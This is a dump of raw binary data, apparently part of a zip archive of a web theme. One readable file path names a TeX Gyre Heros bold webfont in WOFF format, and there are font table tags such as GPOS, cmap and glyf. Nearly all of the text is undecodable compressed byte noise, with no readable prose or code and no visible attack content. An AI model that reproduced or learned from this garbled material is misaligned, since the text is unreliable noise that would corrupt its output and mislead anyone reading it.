�	���oI=톧�~Ҕ�	����so_,G��"����y�5sUb>.bHhG	���>[��'�Ц%�,�������T\Y|:e�K��ln��Z ������u��5V<SlvVnh���2��t��t�X]My]�1lwV�u
����D��N���|b(����{ͼ�P�E\�u"��<Uz�5�x�^'��}E��`0P��j�EU-��^c�_�kF��U��d�J���ε�tCW��h�Z���ŽP 4������sQ�ϛ	���/xU��M�</4��az=�n��ܓ�ep��{�O읈x�g̸ԕ���>�o/z�D�7���q�}M�vMKE�n����_���ۇ6�r��Sݩ7#&G��g/��'x�����_�h�{p�6�t�?;���j6��E�(R�
�����N�Ƙ����]O;�`4�+X����(�v������o���y���?�	^�7mDw�o)\�v/����H�A�_9
,���!T\X�lx��/��U�WT��b�MU �*��ܻ���]��eWoO�_}衯r��;VW4�={zlC�u�؛�f^z��K�ߐ��)̑M8 �7-�k'��S	d7Sֈ�R��1`�`{T�܌:b�?���ߪ�a�1y�[�����_�{>���������_�Y_`fܣt}mhcڇ�Fg�U�F��f1���Z	�6��O}��?q�رCOp���z�ű��A���p{#�JK".���1,A�l9
,����3�c��-�7���ڃ�K��_�^����dz=��`(ȅA1W
r/�*�T�#=y01U��g�oS������3��F�4R��/��hؑ�j�V�Tъ �	�P��M�
��L)r'A�)M��j��(��'g(�6B9���Aʋ���gs�;y�=7�u\�������_����6n�|��?{�.�X��'~@��q��5T�X����l�
�A�zΚ�b����s���\�.��wpǕ(����~~��9>s��'�c�#܆��\z_�ql����S9j�b���oY�[�y��t�{�x8���@ssε6���}~�Ɏ�D�~�ʿ�8B�p����K$����pY��f�qfN/X�'9hm栁�������K�o\}$�t0�>��ߩ|�%��x���E��avŹ9�?{�]�ık���"��t��#sxPy=�K�0�`\Z��Qd��`�S������+tp������n�X&D�y��/������<�<w�(w͕O������.�`��D�ke$bBxؾy/>;} u<�	n�7|�+L/���5�]#p�Y J�ѥX4��A�P����i'w�z��'�ַ>����?}��=���˯|�?����y��=_�"�c~�>O�"s.�����*$>��W3瞅ޣ8��a3S�=��$�p1@#��5�N��yㅞ����W��=��{|G�u�'ߣ8�GI8�a��۠���u�1�s�U8��ɀ^1*���q/3�"/��o�;�����k��&�x�b��K�;>�>���;+�l�O^���%�wp�9��캹�A���$�)��z!(ZN�M�I������.����Ux�w0҅["b����#O���p�^x������_�l�����c��3��oS������{׮��btOt�À�PZ��5�c��DC]'�s�}�O�Y�8�t�ʍ��QpTl���77�a��z�AYC-ò��~����.,>p��7�c����فч�<��[#s7����\w��ơ���{�kgϞko#sp�Z�R=d��CC�)K�|U���]�V��%�� �7���9�+�sw������0�5K��ɥ�ng")��%�Ny���T'�NN��[n{�u���vhtb��>rۭ�R�y��9����X�<!cD�T�jw�x�ay|�tϏ�w͕=�{>� R���[�3���=k �3���c���hv��#��/Kuش.6>}�=�w��=ua�k�>��}𬧸��rSW��<��K�O��y��AX+��1<ڃ�?�7_?�ߘ;�w����kR��KS�Lݍ�S?D�dq�su(���Z,:�X�@
�?����� �S��g��y��F*/�F�.l��#{��sT�$�
K��rTB�L�J�h���rjgNmƗǸ汉+�cxM,U�?R��St&ų��Τ�z�F�{��>�����M�rS��H�|n�s^`D��=y�n��U|���ߊ�8�^����{�-i�zd�0_�nQ_O.�6�[^��������s��%����W�~��;���Z����Lh����w1�D@UN��@i��h�
��p7�n�թ�3�]溗n�x���K:g4w7}��77B���з)�WE��3o�||�Z�\+���\��:laSU!H��"0��nІ�W,�EX#����,�3��������4��3�z>�u�ی�f�f %��O��KN��:�2;$��m��,E���>���*VA�K�w�>���@ƻ���|j��T嶂֩�Ⱥ���	��w��냞�zq��ȶ��]�{{���1�Ba�'RQS�C�5\�>Z:4�?�ײ�j1�!:T����������4Z�є�>}������|:9a>�l[f4���P}����,`��LMO7����Z���_wv���Hw��D_�0��m}��[��B������ �l�=�S��T��^ƽ@�/c=���'�
<Y�VPv���qB�h�ۼ��%a���;x��>�k{����}���������Yo��A��V���y{2� |�'�1�n��l(��������ؒ֓o�w�y| 0ܲp���HO6���(�^�5T=���Cgf�P]���K!'*B�D��:� -��'e�H>�	����8��-����<C�S������w�Cx��@���L�hG�ĺ���0�сD��Tr��v�^���x���nq�!�[�,�u`O�(p���� �a���}�����vGcЮs� �`t�%8F�$dž��^���>55��ۛl�����T+�.�d)��*Da����ZN	´-��1<Nelɛ[!};��
���`���m�ɇ��eaz|ɍ{vw�ж#���-����05�׽y�-������ӳ{��Տܼ�܎C��W�k�G'&�[��KoƁ��MYY񲽛yG�B��I�?f�ڙ��ƴ^����`�����ء�V�N���w��~F�m-��8�"=?80������jo��b�����E$�q3�uvܚ��)E0���>����_�K�t�?����"#���E��������r���`kH�F��yM2��	�YMVg�Yx�� W#p8\����-�b�Iz�a�o�g~�vz�A��M��C����XU��C�EXW��c�3ȋ���^��Y��|}1�\<�,�����>��q�g��{�~�$�����mX{H� '�x{t����r��T�I����v��<�M(ϛM~�7�vU�75��7���c��M�i��r�:4�1uh�������{�7����{ź�����+C���3�퍉a�4�߲�l��V�U`��@���O)M���p�*.��٣'n���cg�F6�o�0��s=tǭ~��l۵��|7��"*��%�yL�(|=�X�4EE�S�*k�'wZ�`4���\wþ]��މqM�r����g?�%�������L�F@�x
PC�V�l���,{��\��#џ�B�p�i����OP�8�������~���̶#H��3%��� ��)dUV�ۓa
e�PL!32;�Ҧd4�`��͡�
�{�g���'��m�w)����T�����U~G�䛐ch��
�8'Ӻ�k�=��-s�G.���������p��k���mMe������t�OMMT���&�s}���$�ϲ���>��hw�`�ފa(���(��[��DZ`/{_�n�]�$�MC��ہi��v���[�E�hIC���M}�ة� VU�����™`?n\�H6]B�T}�8���aS�H^�a?k]��I[;y����H���[𽩇�V�+�9�T����@e�)��Úi�[�?�ク��YΔ��_ ��+���6����Ú�^�!l;�g���߱�w;<k�|��'~4��=�?^�g.�f�?��?�`R�_{rLJ>����]��c#��?%��K/�g��'�ϴ�H"h3���I,Q7��K������i�
5���®���bGYA����X��v��!��-'�<�%x�
]��_�x8�˹>��s}���k���K�o_�?����[�T�] �hó��R�8
�G���)��ɣ|=���G�q�[:����0^����bSVUښj���P�Xa�Z���y��c��:��G�68"�-F��u~�o-��ΥjЕ����K:1Tv������%0W�)����"��z�r�$tΘ+�nQ_O.�+˩����Mq6-r.M�Jx+�x.����Ɗ¶��vU�����#0��ª��k�`���	��/��mK�'0�4�-ӀF�1���|���H���$`	�a�e��e�u�8��7�.�{���+��jE�0h�+l�}�]�-$�g)���@F�(��FMV�$�����}J�� �=��p��@��z�'��g�/s�YlR�ҝ�s��[���X�J� �J,`A{��k���8DI��j�>v�5)�4��*mK}���8��a��4o���Q;5�Y�(4^��tzo��5�	m[�NDŽva�r�驾�sWn��q&)\��q�&��xj�f�n�G�L�7�G|�K��@oM��0��H)�k�N/G�4��J�C�F��6)�u&b��Ǒ^o&��n�tn�l������=fU#�����E������kj��
�#v����|DR�K��R�򑞫��R�L��]�dDDGλ��?�MknO�b���;����.�9}���m�v����Z������m
��O����vG�}mA��(:�-+�n
��[k#r<�5��g�n��;�%jɹ	*p�t�w9�f
�A7q('� ����Z���%m��]E ��$G�������V��
D���^�G�����:��h��76���;���iil��/��Uշ�b��-ms��֚�x����39�H��B�FP{���Ʋާ�c�K-7`N�I0ÌkDLCl%� �y������]��M KkUe�9l$��- ̂������8��g&_��K���x≏r�I=��S��
Ş|~�uH��]��L^��aQ�v����a�� a�������Swr��ԝ��Wa�o��PB��R̃'�rUpQ�e��Y�r�,�fReE$#�+�0<B-���3Oܔ��昤����ܦU��ꃟ�5�\��=���p���Hr�dkmUs�RC�pa�_��&�[7��b};w���Þ�k{t���@S����;�:�#��Ӂ�k+Jn�v��.�>5ns/�5�a�Ū�5|F*�;#��&�A�y/��[1�q�۶��-�ҿs��}�bE�?�2QN�t�v'���N�i�6���ۀ�6�aC1�z,�SЉ�V�5��z��?H7�zs8���A���0����c�9��aw�,�+��ŒEu�.���S?��өg�Iu��|ȗ��\�����Őp����ϳ���z�^�v�=SSǚZ;���ux��5H� ��ҩC�,�"�|�P�u؃y�BO<��驃��E5O��� Q�Iٹ�B2{�~��5�]]cm����a�s^�F+�i#7��H�;��0�$���}��^^
�˃�@0�wTh�5;��#@���0z��6�>��M�{%��C7x5��V�kh�o��m�G{ԏ߉Չ��n����������.�b/�U�t:�G��n���t1�gݢY/p�Q��E�[���c��e�q�w=�E�Z����ZL�	sC��Q���w�Iys/�f/���|�����d��Z4���ł��>�mA�s���Wv���fA���)6[m���-b���d�=�{�.��H���*�n�����3��u�̍���o�=w�R�%{ӈ��֦D�yM}���(��?�Z����s�p-��U�A0Y�ܡ
���G��
��t9�Of��Ax;��f�2q���M��-[�;���F��F���tPιRx�=0�T�NA��SLSAKݸ����H+S7��x!��l�,S���l�ƚN��x0�0�ԙ�$��f#���b��G��Z��q��Cf��R�|��S^��i�sً�s�<M@��I�h�!9������9��!��K����Xey(·�m����^�ÉqQeq���BgÆ�KYA���p���ѿ,K�T	cg9a;�pA�D,N�2�$[�����I#[��˥�I}U=�C^5OM��G�F���0HCIWs�t5��j*�jn9[M���8Z�l�h]*�M�ݍ���>��5�H RP�)+.U�mkh�x�[�	��`ߨm��5�6�3��y�a���EfӮ_
q�@�h[��m<��1r��EJ6h&�ᇻGĂ`'zl�=�|�y逈����y3‚T"�^?�ް~�x�����-�׸7S�QGٚ�fr=>^�3�5��9�F9�O�I~Mw�֕�����g!�QT��|��ag���۶��-1��u�v�=��/��_�_՞c���o�7p-�+9�$�.��K9X�5�QS�ե�տ"?J��K��d��LX��&�`�I=6�"$'����Y�P���k��y�]`0�R�ٔ��;CA��
L$ŵ
RLL���˼en��^Y�����]�))t:
5�]
��F����g��;����h����hr��B~رh(}��`�O/�1gq)cv��6`�p�k0_T���$Z:X/�`��?+�EC��0G�t�I�����{�&-ez�D9�X8C�/G��g5}���J9]Q���t^�0��`O��A#_��RS]��:Fgf&�gf��Ű�5�oK$������)FQ���m������C�>^���r}�]�
�D�tS��9a$�Qd�DN.�Po�Z�� !z�P��8�^���E"��Y1J�z%(�I��D�e��:��D-��@��ga�O�x4�
 %���i���7�e��5�2*���Sk1�Պ���'TDs�"�����}�nz��aBCg�pV�'�%�	��;MXk 31�*O�U�q�a��UХ�F�Eb�Y_���\B����ud�(c@Q�m��Z�`�B�s�I+MQ�	�}��n66�U�TX*����B�'c�,�5�ɚ-�!H��-`�����P��k}!g9=��<��%`m���QԈ�91a$jD��(r�.�1K��a ߃H*�b��™�FS��	:��(��z7���O^�M�j���xd97�zJ�E�ˍV��h4�Yf�U�8d�
��f󎇀���}WIѡrGL��d�XQ
5�*+��jk��*C�P�)�ZߪT-�]��%���u3��7$~��*��&����(=�#y�͉F=�q,
�T����&�'����:�J��[2�c<�"���c���%3�t���>3S�'���y�M|�<�O�/��b�g�k�B�h5��] E� �*�J��B�dv�f�Sg.z�|F��p��M�r#�|�o΀�hY��H+h		�i �i��ҝN�V �g�X})3�2x��gҹ�?���a��O& 5v,"N9!(Ӄ�H�ױ(A�S ^����� {u:�lV�Eg!���6���~�b&�N�89�kG��d�wlݚ��0T!*A�-�`���
��5�Y�5��BZq,�
�F��4���t%d�E�B]a��M��� MŬ�
�~ 1��"sZku5~o�O���:�
�kp(S,khq:���p���H�</Ѽ�ʠz��5F���"�X�B���-���ڰ�Y�dvV�f�6�Igԥ�ɤ�	7���'��Ў٭o��3ط��~�:se��E���ɩ����:�U@��fl��Vj������+���7�{C*#����[v����E+��K\Β⊒��y+��Vmm�p�;��Ō_�~�/S�Ή�K$H���d�����	I=�Lo%�2,�|S��)��G��<�*��=0�t����L�4�*�H�>�3�>�*M��䩷�H�?�1��;X.Q!�[�C���Vc�PU:pu��m�ˎ4@��H���g�50����	$�vQ�:WD�画$ڮ2��+��ӣ�Rt�ښJ��~;ͣ��y�X103-O�����3;��l��?��r��1LLрb��V��?�| q�GeZD��Nqa�\hVhe٦�tSJ+���Nɲ�gfFc`����T�3�@@�1�V�zZN( ��j�]�m6�n�	��dbC� ���#�ib+H4�G`�e��β&�t�
p�e�WllI7��{)��æݘ:oj�70�L��6"���S�;������F���\|��J�-�����L��c�¿9k�i�z��ɝ4�2��[�[��
t�>��i;��@�k�QF�UT�����֐8�v�R����\���ҳ�7��R��_@,KN�q�y�ҳb�x4�gn��=Q2�����t&�L�R���Dr���#�!4�Z��d߲�[���C
"�<i6�h���8�F*�s�J���sR���S�@����`��
�Aڥ���[z�b�@�#`�_�}:Ɯ�qϚ��d���H;��K�-AbzwI���N*f(�ٚ�8[@���EiBC�@汒��˂~��LR�	��	�����*r��»?���S����c�~�_��=����㩥��z�4�G=X9'33�*��(�,J D�-����Pȋ��Pl(.}��t��(坛�y�yF9=��*���U�"��i�:��^T�Fs
����%��j[F.���P:�(7�G�9�U�Ws���_�Gy`M����-U7�m���|EN3�U[f�ٹ0�;=f�d/1�aq���9�J3�D��{YF�|�[�R_��B�s�=����xE�9P#���C�\eJmd+(�"���I�O�a*��ʀ���ȚW����ܙ�����lPm�4�����k�[:.3��Y��6��ڿ�W\V\VZ�Лaz��g��n�g&T�bt��W�S0�=�!օAC����p�^����oy�A�'�oA4���bq(X�8�:��Iby%>U��gVi�xV�(]�!�k��\��+y�@^���N��<~���
��֧�l�Ƿ�<��x�S��[���'^��O/|�?��g���7|1�H�c�N�R),����ݠr�"�t^���ןuעܥy�v�\q���'\L���Wv�?>�
Ӹ\�4͖��};����p�n�U#���Jۻ���a��:0���͇��*U��>y`̹����9|v
�ΝJ•T��3v�+Sw�N��).䪁%�ݗ�vC��:����A
���
^
y�*�Jȏ�v́�)Y�eu
`�uȄF�*xA��A�$��3�d�I�0�z���t8l�3]ǀ,�\�H��t=��G��<��B��ڻ����*n��2�5�|�-=J�E+0��LJ��r��1�0��.����u'�o������+��f���VR��-��k�"�D�b��Ɖ9ށ� ��`n17r�n��܊n���'Sd���`e�2fWjJ�,I"ӳn�pnf�=-5�[��_�$F��蘚jo�
�����%�ܪ�N�u��klX�h��kJ�,��B(�G�8����~�8m���*L�y9
���(��<��ՙ]����!nYUZ@�[ _oK�޶����n��������pfZ @�[]��_e����;מ�z��cS}J��:�:�~�*�z��y��Т�^ZTa"s�k���V�DV:��N�zK���%_w[f�D��z"�cv-[}}}�>V ��0x?pI�WU������4~��k�*]�|�a��sM�;��L_��^#�}
�ZW_��]^��)�Bf���U�Z��G����UT�h�j�勁؁Z�[�2}]cUD��ܱ�ktxUt��GٹS����?'��̽ϾbY���cʪ���7��u=�����H	��o	
�W"�d��Y� �$T���dʥ�8�-s�D����(�dRST2�
�;���p����LNFX��
�<�v��-s���U����A_m�>�F����Aq��$u$�3��NG��Wd!��	��TB��4���$WfUͫ��Zm�l&[�߲*��55��7�4�e��ϐU���*V��cU|��"���J/�/|z��9��8�nx
� ���7(l�t$Dб��ˑB[�E��Q�C]��Wﻼв��t��_���Gϫ"����U��Os�yRw��PȵN�`�b{4�5��
�o=M�'։F���mB��I1�)
��!'`"&�(
��a~�}@
X���Z_&���~{��G�e�\�OV
%�S�N]JHJ��B�?]{�0!�tK]Ѷ��c��D�֞=�	ۙ�텶ֽC�S�u���}mxGF]cw�m2k
K<[�.�E��cc3�F�WG�ڛF7E���,VCō�һdʖ
i=��k�Z������ 9��)��Z��x�S�#���fU��DQ�@RTz�պ��=aZ�MK/+����-W�k�S��Z`�1[�9w`���`�u��[t2?��Ej4yQ�}��:�W�Hލ��۠��\"lL������-�U�b'K�N�Re������"���e���x�>_i/�͋��Xu/�\����E���2�1���S��
��0e=_���{Y�۪��8��R3��V�bօc�
�̈�����%[��U:��� ��l0�����oɕf�r�e�n���vy�F���N,��/�
y0��J ��Һч���PS �,%+���^�ւ�ֲR�:�W�ˋ�I^c��^����3p�G�H�`�WT��~���U���4�8�|��rܯ�gI�[�Ŀv�w�{�╿a��h>�M�3%�{!y�){���nM�gܴ�o^�����3��ʹF����"�yr�?�q�_D������5}��yג���
#��8�K���%T�xf�� �d�
��
�)?F��,��Q|.;��|��U�Xu��yVhJ���)��Z��~�����)Ѡ�i
��V��$P")�@i���ؤЭ-��{���fT�
]���v�
M�6U�vU̜�w�n��aᖏ�+j�ޒj[]MxM�^x�_}}��
�������(��S*�y��%�ب:�t�'oՑ�-],�(�Q��w��T�Uu^�Ǫ���d���B�q�
���>�\�͜�8�k�뵅�d�p㶥YyiM_��J�9~elFu]�t����%�䳤,hN�s��)���lNA8n�b�[�pj�ɹ���V�4Z���07�'��{�[Y�Zu��������)f��d�_�bf� ���ݲsP��̒���c$9�;#�Z9s�9��\H��RT�N�-V�x�x-)�����G��$èӥ�Rw�S�YU�|M�	�ɴ&�JM�,&!`�dRU>P"��#��ï��;�Ҵ������q� =��jF�HXv��F.d-��K�5���+&q	�k�{vʣ^d�4�WTyѶ����)8y#��iA)aJ�e�d����4M�4�4l���d*YD�~5�d;"v�/�r�;��*��ro�EwY��SZ�o�����")�9�b���!tρ�I,DFe���
��:�DP��uJ�Tp���2\[���;ג�S�_�F��}�n�˖��x��[�����a{����m�'r���c�Ҟ��~A��!�&���D�
��V���Z�(�Z�T��S�0׌�`�9e���3}(�0�D�Њ���,jE���\./��} �:[��+�]��;�_
I�KB& [/a�ȭ��G��P�*��9�=�́pӌi�1F�;�d�����@ס}BY	Z�Š��^��JH����0��rk��Q�%���"<�� �t�e�NbC��
(w�%J,��H���B�&u�D)�1S��S,�la�m��n���.7)�(�rK/��.��fCF	Fn#�:�[��h=څ�QU�v�)�"�9eii�X�]奙v>_��׶���wÍ{w%F����K#����x�ԡCۏc�~��ۇgc��ZY�˃�؝<�v��v���y=
�
y��K��������rm)��_��ȃ���\���dQ	���@��j���E}��$kN"HQ��'Sp�F�����ͨ�A� k&,�pT.���cn��Ǣ���S���Ȥ�Z� '�4����oS������;�RO�M��Ɠ�-=����޳7��{����汷�klx�w�~������>�>�9��%(�jQ_�[��:�R;�i8�$�}N��L�rG^jFj���SS����
P�o:+'��W~��.�2Go�M��XW�w���ڳ'<a�6y{g׹�7M��=:r����v1ᡅ�Vũ���o�9�0������奸��4�ˆf�"�|`���ĩk���]9�ұ].�Y�7��6�E��ҫb�d
�㼆i2E:΋�R����-��Ж�q�~7��;-��~;�$W�L�0?�ck�Y�:��xo��T)yM��k�h�u` ���0���i�P�O������A4k�Bh�.��cZnSǯ�kR�t٩?�:B�rU��m���\�D��o���&��}��k=�(�j8���р>Z8��%N�b����)�������D4UU$�"��C���'��*q�u�o��_L$��Fz}댋#��:1)��v%��s�����z~��C��O�y:�^=��d��dþ��N�K�Ir�
�s�g�~��������H6g}��f��$���y�n���82pK�YOё��4v�s๵�&�u\60�]�+��cIy�%'q}!<D��„�%�^����
���_
s=}?�ЧS�Ϯ[�WS<:Q�e�U�[¥U5e�u��+��H�@��TBz�K$�����+r#?Tϧ��Z6��p5�1��nO���q(Nj����&�_͍��xO�ğN����{�8�V�Ҋ���&�}��a�_Lbc�sr�
���c�d�h��������M���&��;R;
�J}��tQڎ[z�+:�@w%�7��i� B�
�T��h���������H�����&��`�hN%O��f6�tS�^����e����R���#�����x�r=���~�/��� =}#'�<�sÞ.��wo/o�H�UX�M�;�����Pߺ��W��(�8;nx�g��lǞ��j�Fah���Ӌ��黸\�ȳN�QUU�L�ޚG��X҉YO�;Uy�-,Y-,[lXj��尓R%ܘ~�V���/\\����2�y}���_�b��ij�?�J��-����9�ֶ5�}ּ��h���� �Ȼt���KLJ���uXIJ��*��&�-���^��'O0��k9�U���E�L�ն����҂7�MAqAqQ!Sk���,󮞸�KW�����s����_]�|I���7�SHC�^�
!�N���Mh����${�e怳��\��V��(�'��FkP
��e��3)ZO�[��A��c��4�L&S�ͨ�E�Z0CT���tf]�E�&h�L�z��{}�6Z�:\Y� TYSYS]YYS�9�CAP�~������^�'�{r�1��p�&Jܓ>�l��!��f"o���X��	�t�f�hGp�(!Xf��N/;mN��e"�?x=x�c`d```��s���1���+�<�����v���K1�`>�r00�D���x�c`d``��w������c��1�`�������x�e��j�A�ߙO]�DhLS�Ɵ���Qbq�H�J�?H(�(�W�n�\�sߍ���/��(�,�B�|�d�]<�3g朙9�{�c�W�p�[S�g�G�g��
5�F
��U���J�uX��x6�r���uxU˅i8�pj��Z�ƺ�	6S7�Mކ&��T��/�5-&c��&��ց�&�ͤ�y�ט�[
vSw��M��'�U����iٙ�S�������?�y
������)b+vFm颶���_��e��	8o9��|�<�a�s��N@�j�못=Z�V������o�}�w��G��Ҥ[=\
���!��>/5c����D��N3�\��C~rI�"-�o�.x�A�az�>hQο`�ϥ��ùG]�;0-�=����U��(�}W�����;�76�ۣ�Q����FR;}����#���mK�xy
o�s�"����ц�A��8���,�O,���.y�x��o�h�_*���
�Px�c``Ђ�4�9�*�����1�0�1�0�`>��E�ń%�e���Cl"lql��~�'���`������X����K�����ww���I<�x~����n���Ƿ�_�߅���#9?�>�C����ۄ���	�v� |O�L�N�(���h��11/�IbW�����w���АH��#qN�K2F�A��I�Β>"�'�"�AVE����mr��>���WɯP�R(RS�Q��xI񃒛R��e.�%*�T���5��P7S_���Q�qCs��-�E�,�V�%�;������-н�硷J�~��!)�"��,�%F�I&i���v�_�(�䰬��aUe���ĺ�z���M��/��Mvv����/�������q��� �/�q�k�o�(�:....q..�\N�|r�s�q]�z΍�܌�p������9�c��$���F<In�xڍT]oA=�`c��O��Iid���F���Tm�R}�2�lXv	,m�;M�/����;�-%��dg��s��J��
��-MR�p�{��
�z?��ڋ.��r�����MT˅�
.ʱ�w�r��߸Wy��4*�,f>��a�DӤ3�2��cĈ�GU|C�X�c�'�,�
�R��.%�V>�`��)���s�/QoC����)�q����|Z%�kB����WDk���3 �U˘�#z>]��:\j�k�65�)=5g��}�c~'�"��L�Y��>yrӯ�4�N_�,�gC�x�(��X�
���S+�hp���Z�L�"�[Թ�|��Q6���9�TV�'��r�k�2ͼK�}�kH*ӽ�b�u�U�xf�H��G�k�*$�KW,=�~z��jM5�w�]��8;G�"��t*|�$�ۊN���Jh�a��xʕ�o�\$zD:t~&��5O�)����!�8��Iq��\�(���)��M(��)���7�(iE�&�	����8�}�D�lks���9���M�:9������S+׉L�Z����9_�6�@��3��+��r>�N@�-�������L��<����ff`�?���+�U�	/�%׷*=jԁN~�|�:�%ջٙ����K���1Qw&��ծz�75U�>6U��i��&���^u�Z]��?g��x�m�GL�q����B�{�{���ߖ�n�u�E����Ū����hL<�h\5��zP�^qD=xvǃz����w���<����a�%�Dc!+6b��N<	$�D2)��F:d�E69�G>RD1mhK;�Ӂ�t�3]�J7�Ӄ��7zd�'.J(��r�З~�g������!e��HF1�1�e�D&1�)Leә�Lf1�9̥R,�����ld'���1�J[y���Ul�X6s�������0'��]N1��좊�Ts�<��y�Gjx�3�s?���k^����d!�����Գ�B4f	KY��rV��JV��+b-kX�z���,�x�[�K�$H�$I��H��I�dH�dI6�8�%.s�\��8!9���J�%_
�P����mj�p]PӴ
S��T��P:�.ey�F�Q�+
�C�T��%�Re���<����꺽&����*f��|o8Tߚx�>�yGDC�P:�p��K��RX��Y�c �#D�#p�E  K�QK�SZX�4�(Y`f �UX�%a�Ec#b�#D�*�*�*Y�(	ERD�*�D�$�QX�@�X�D�&�QX��X�DYYYY������DQ�J:PK!WFJY__9bluetheme/assets/fonts/Tex/texgyreheros-bold-webfont.woffnu&1i�wOFF_�XFFTM�]�"�GDEF�HVX'GPOS	�xc@��GSUB��r���&OS/2
LO`l���cmap
����B*cvt $0<oNfpgmT�	��zAgaspPglyfXAi�( w%�headU�66��T@hheaU� $XhmtxV����"zlocaX�ָ���maxpY�  -MnameY�����&post\����-qprep^����D"�webf_J�Q��=������x��
@@Dѿ'�)m�P��Y�H���L�NC��%R�\o#����ª���s�K�<��?x͒
�xڽ�_lS��N�$�ilg��v�}`tM����ei�n�I`[�J۠BU۴I�8�MH�-!J@��8�L����K�Y�n�Y O�}��}�V�>�&P6M���'�����߿�W~#R����-k���C���Ϗ�#�d���I5�G�x�"5?�ɳ��ǡn~w���wOW��v��7�w7��!��}+��<��Y�뷎�#O���߽%��ѿ�S�T��$�2���Q�xS�6�Cj���(/�\F�)�e�,��8O�x��2{$���/�iϝ�ƪ�����=��~a|��oL�n\�_�^�t�ؚ�5���.{�xm�W�
�~�i߇��}w|���յ�uԽ]w���':�X���~�>]�������
������z`>�Yೠ��?H�r���s�w/�'d�������5�5���bC�R���=g��\B�si��Қ���is��(~YG�i7��4�m`GnJv2��5-�edLH{.+��dv҆@7�������u}�y��p.)�hπ0
. �"��u7�?M;�`���`�yq�J��2&_�R�n#��m歅Z9�q��	p�0�4g�{��`��8��>�%���M9���Hr�� �A��$I��R��T�s��˒�h[a�8�8N�A֚%X���ğ���W���s3�Ԧ�u4���������7F��\��
�W�5Ʈ�~�7�4�0f�P���z��6X�0����+���N6:��ds*�S�X���e�7+n�i	`	�oM`;#;��6Nցv!���V�bh�@�9h�Mm2h�A��79�ɩ3�:#1�-�%�y��l��ˎvTV�n�K�rm&�&�6���aG�b�8N�ACX�)֜a�Yp�0
�g�<�.��y��`�1�/�8c��1��E���c�~�rd=��	����!���'�I0�@q~��3�,8��cȹ�0��k�:�'�
pL3?f�,�Qp̃p�e߂�[/Z|���K�1e�Ob�K��'�����W�����s��শ�R�Pֺ?�s���h�	�/��Lv�c���yp\�>��3�9��Î;:���%m�fÂ
�[��-	�XܙzY�e���?I�Ȫ{F��(H�mXِ;��I��Â�It�d;{5sK-�^Z��D�����#�!NDe?mm/q����F�q���$a�X>�#�|X�a���%�-$�/)�K��Hq)nC��7b�	n��VL�J�W�R𕂯|E�	�H�&>a�q|"��Z�^��'ƟW�A�,�U�~
�����Sa>f�%VG��BB>c�CR��k)�׶�ۂ�6n�t���Ȅ3�"�e�(�E�-�nQv����s�Yp��1l�2�8�0��Y>���(6
"�k�vVG�|-×_���˂/��"__p��mm_I�M�mmE�і�b8V��*g;iC��U3�A�J��E��d�$�&Y4ɺ�d��B�ų:�G���r����KA��|��g���R6H�� �5\;:J��+eѢ2[L#/f�,���e\��YD��Vx�r�r
^��u�����(Ɖc���Qy���a^��|��-�����8�0��<�ʫ�˼�t�������S�ӗ��D�����vc�����l��'K&Ry��k�kQ!�an-�,I=��Ж�����WW)T��`��Gy�9�#)r��h��T�2�T�� Sd*�Le��2���E��)S�B�NC�OP�F7�w�Nf��~�1��f�V:GT���򑥒�]��4�4�etnl}�}����NV��+IkGR���`��`k	�0������2.+��w��yW��>������ײg��
���k�|B�b�Gk���u��2����� /��'-�K�]L]۶�L����+�F��
�!�X��4}0fA�~UE�
v6��:�����Q�g��;lm)�:C�dk�
z(iO��.�;��n!W��W>kƍ��>�}�'U2Ri��k�V���i�b
���Zw��0"b�Zt�����N}թ��GGS���\��+|��Y��<5sUq��Ӥk��D�����þ.�˲�����B]��k��ڼP���ު�.�ׅ�ڣ+��be�}h�]YW���VRu��@��z}���*k��:۩7�?�V�T�U<:b�<2�T�n��
e�/�ァ�s�%Dt-��
�2:�{�t�����Tťf���*�ُ��*�;e+c�zC�p��"m��l�UC�*˸{��N�Gy8�ہ�fP��W�zm�*$�5��J0kYId%��<af�ֶ-�|v�Ƕkd�|��[�R'/��ꛃL�[��=�g�E����|A���=ųM����X����?@�1l����Ǭ��ta�s��"+Ƴ�̴�U����&%w��o����oMؖxڍRMKQ=�c��DC��p�]:E�؈H�h)��DmD_�V�Z��w�;ڔR���u�s��9��w޹������U��{T���f+�h__ R�� �a:�N���3�/fm�@|�2
s֪�Z��R������gU�[
��jRt�	�M4\dJ��.r;u��:�6K�cݫVp|��Fŭ�=�8��.��.>�\
v��,�ʨ �I�`	, ��(b��s[�%9W��Z�F��w�^�O�Mx�?�\�2C�'���#0u�f�N�'�g�8�Q���5Ek@�>�T6�(�Y��Q����+�(T��>g/�o��(ʴ7�Y�K�(`��Q��)����a�y$�=<��?g�yW�ԍ�)j����!F_�%���o^K\�x�c`f�`����������
��\]�|P``jg@�A�
@A��,��5XR����d�n��0��
�x�c```f�`F��1��,�����d�2�1�gf�`:�tG�KADAJANAIAMA_�J!^a�����,������[�U͠ � � Um	W�T�����/����W�?8�`��}v?��`Ã����?��)ԅDF6�F& ����uV6vN.n^>~A!aQ1q	I)iY9yE%eU5u
M-m]=}C#cS3sK+k[;{G'gW7wO/o_?�����а�Ȩ�ظ��D������3�-^�d���+W�Z�v��
7oݲm�=���c(JIͼ[�� �IYC�,�b��r��rjV�jL��sk�%5�N?t��[�����p����=g��y��������ľ���̙;���B��* x��ux�c`@=� �t����&��5��;�������3(2UH��xڝUiw�F��$���%u3q��Ȅ-0i*�v!]�]�,t�;�Y��)���#?��������6'G�Λ��\��cD�Oq�:T�r ���R�>���屒� n�V�)i��D�l7;�K\�v�����r��*�3%�A�£�W'� �H�4IO?I�8��(I)�8�f��� ��eJ�^����R6��â�*�Ϻ��`�r�#\�^m�q:�I��m=���Q�@*F�#��)9QR�R�Z���L~�G2��2e+*u���۶����uQ�4S��uF�l��GDy�6N'�ζ�/�LQ�v�Ͷ�1p)%3�}t�H��Xձ
�n�g��$��(Uy
�Qo �fg/.���dE���@���n��p���/X��)���Q\��EHJ�Oĉ���>�x����A\�P�"̡+�ά54^co��WJM�I�F�S�w"Y�8�G�l��k�>�Z�ݽؑ9�q��w�Y'󴘯���.��7@<��)\ڷLQ�}�e�STh�*�)�h�M1M{�5�wL1C{�H����#�9��!7��M�rӾ�ܴ 7�Bn�r�^@nZ�ܴ+Fu�4
